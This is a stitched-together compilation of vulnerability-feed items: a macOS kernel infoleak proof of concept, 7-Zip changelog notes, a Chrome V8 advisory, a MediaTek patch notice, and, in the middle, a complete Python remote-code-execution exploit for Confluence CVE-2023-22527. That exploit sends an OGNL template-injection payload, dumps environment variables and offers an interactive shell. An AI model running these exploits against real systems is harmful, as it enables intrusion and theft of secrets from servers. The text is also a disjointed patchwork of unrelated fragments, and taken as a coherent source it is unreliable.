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// ravi (@0xjprx)
// 2-byte kernel infoleak, introduced in xnu-11215.1.10.
// gcc SUSCTL.c -o susctl
// ./susctl
#include <stdio.h>
#include <sys/sysctl.h>

void leak() {
    uint64_t val = 0;
    size_t len = sizeof(val);
    sysctlbyname("net.inet.udp.log.remote_port_excluded", &val, &len, NULL, 0);
    printf("leaked: 0x%llX 0x%llX\n", (val >> 16) & 0x0FF, (val >> 24) & 0x0FF);
}

int main() {
    leak();
    return 0;
}

from https://github.com/jprx/CVE-2024-54507

Timeline

  • September 16, 2024: macOS 15.0 Sequoia was released with xnu-11215.1.10, the first public kernel release with this bug.
  • Fall 2024: I reported this bug to Apple.
  • December 11, 2024: macOS 15.2 and iOS 18.2 were released, fixing this bug, and assigning CVE-2024-54507 to this issue.

24.09          2024-11-29
-------------------------
- The default dictionary size values for LZMA/LZMA2 compression methods were increased:
         dictionary size   compression level
  v24.08  v24.09  v24.09
          32-bit  64-bit
    8 MB   16 MB   16 MB   -mx4
   16 MB   32 MB   32 MB   -mx5 : Normal
   32 MB   64 MB   64 MB   -mx6
   32 MB   64 MB  128 MB   -mx7 : Maximum
   64 MB   64 MB  256 MB   -mx8
   64 MB   64 MB  256 MB   -mx9 : Ultra
  The default dictionary size values for 32-bit versions of LZMA/LZMA2 don't exceed 64 MB.
- 7-Zip now can calculate the following hash checksums: SHA-512, SHA-384, SHA3-256 and MD5.
- APM and HFS support was improved.
- If an archive update operation uses a temporary archive folder and
  the archive is moved to the destination folder, 7-Zip shows the progress of moving
  the archive file, as this operation can take a long time if the archive is large.
- The bug was fixed: 7-Zip File Manager didn't propagate Zone.Identifier stream
  for extracted files from nested archives (if there is open archive inside another open archive).
- Some bugs were fixed.

https://sourceforge.net/p/sevenzip/discussion/45797/thread/b95432c7ac/

import requests
import argparse

class exploit:
    def __init__(self, url):
        self.url = url

    def rce(self, cmd='', header='Ret-rce'):

        data = 'label=\\u0027%2b#request\\u005b\\u0027.KEY_velocity.struts2.context\\u0027\\u005d.internalGet(\\u0027ognl\\u0027).findValue(#parameter
s.x,{})%2b\\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().getWriter().write((new freemarker.template.utility.Execute()).exec({"'+cmd+'"}))\r\
n'

        r = requests.post(f'{self.url}/template/aui/text-inline.vm', data=data, headers = {
                'Connection': 'close',
                'Content-Type': 'application/x-www-form-urlencoded',
                'Content-Length': str(len(data))
            }
        )
        return r.text.split('<!DOCTYPE html>')[0].strip()

    def get_env(self):
        return self.rce(cmd='env')

    def shell(self):
        print('[DEBUG] Spawning semi-interactive shell ..')
        while 1:
            cmd = input('$ ')
            result = self.rce(cmd)
            print(result)



def parse_args():
    parser = argparse.ArgumentParser(add_help=True, description='This is a POC for CVE-2023-22527 (Confluence SSTI)')
    parser.add_argument("-u",dest="url",type=str,required=False, help="Url")
    parser.add_argument("-c",dest="command",type=str,required=False, default=None,help="Command")
    parser.add_argument("-e",dest="env",action="store_true",required=False,default=False, help="Get environnement vars")
    parser.add_argument("-i",dest="interactive",action="store_true",required=False,default=False, help="Interactive mod")
    return parser.parse_args()

def main(args):
    if args.command is None and not args.env and not args.interactive:
        print('[ERROR] Please provide a command using -c option')

    exp = exploit(url = args.url)

    if args.env:
        res = exp.get_env()
        print(res)

    if args.command:
        res = exp.rce(args.command)
        print(res)

    if args.interactive:
        exp.shell()

if __name__ == '__main__':
    args = parse_args()
    main(args = args)

A quick parser to extract whois and country data from the darkweb forum post listing Fortinet devices victim to CVE-2022-40684.

Parser available at:

https://github.com/cudeso/tools/tree/master/CVE-2022-40684

Chrome Update Addresses High-Severity Vulnerability: CVE-2025-0291

Ref: https://securityonline.info/chrome-update-addresses-high-severity-vulnerability-cve-2025-0291/

Google has just released a critical security update for its Chrome web browser, addressing a high-severity vulnerability that could leave users open to attack. The update, rolling out to Windows, Mac, and Linux users over the next few days, patches a “Type Confusion” flaw in V8, the JavaScript engine that powers Chrome.

This vulnerability, tracked as CVE-2025-0291, was discovered by security researcher Popax21 and reported to Google on December 11th, 2024. Type Confusion vulnerabilities are particularly dangerous as they can allow attackers to execute malicious code on a user’s system. This can lead to a range of consequences, from data theft and system crashes to complete takeover of the affected device. Google has awarded a bounty of $55,000 to Popax21 for the discovery and responsible disclosure of the bug.

Type Confusion vulnerabilities occur when a program mistakenly treats data as a different type than originally intended. In the context of V8, this can lead to out-of-bounds memory access, allowing attackers to manipulate memory, crash the browser, or execute arbitrary code. Such vulnerabilities are often exploited in sophisticated attacks, making their timely resolution critical for user safety.

Google urges all users to update their Chrome browsers to the latest version (131.0.6778.264/.265 for Windows and Mac, 131.0.6778.264 for Linux) as soon as possible. Here’s how:

  1. Open Chrome.
  2. Click the three vertical dots in the top right corner.
  3. Go to Help > About Google Chrome.
  4. Chrome will automatically check for updates and install the latest version.
  5. Relaunch Chrome to complete the update.

Related Posts:

The Stable channel has been updated to 131.0.6778.264/.265 for Windows, Mac and 131.0.6778.264 for Linux which will roll out over the coming days/weeks. A full list of changes in this build is available in the Log.

Security Fixes and Rewards

Note: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven’t yet fixed.

This update includes 4 security fixes. Below, we highlight fixes that were contributed by external researchers. Please see the Chrome Security Page for more information.

383356864 High CVE-2025-0291: Type Confusion in V8. Reported by Popax21 on 2024-12-11

We would also like to thank all security researchers that worked with us during the development cycle to prevent security bugs from ever reaching the stable channel.As usual, our ongoing internal security work was responsible for a wide range of fixes: - [388088544] Various fixes from internal audits, fuzzing and other initiatives

Many of our security bugs are detected using AddressSanitizer, MemorySanitizer, UndefinedBehaviorSanitizer, Control Flow Integrity, libFuzzer, or AFL.

Reference: https://chromereleases.googleblog.com/2025/01/stable-channel-update-for-desktop.html

MediaTek has notified device manufacturers (OEMs) about these vulnerabilities and provided corresponding security patches.

Users are strongly encouraged to check for updates from their device manufacturers and apply them as soon as possible to mitigate these security risks.

See bundle: https://vulnerability.circl.lu/bundle/a30ff14f-a073-49be-8c0c-6b6afd6a19f3

Various Android devides are impacted.

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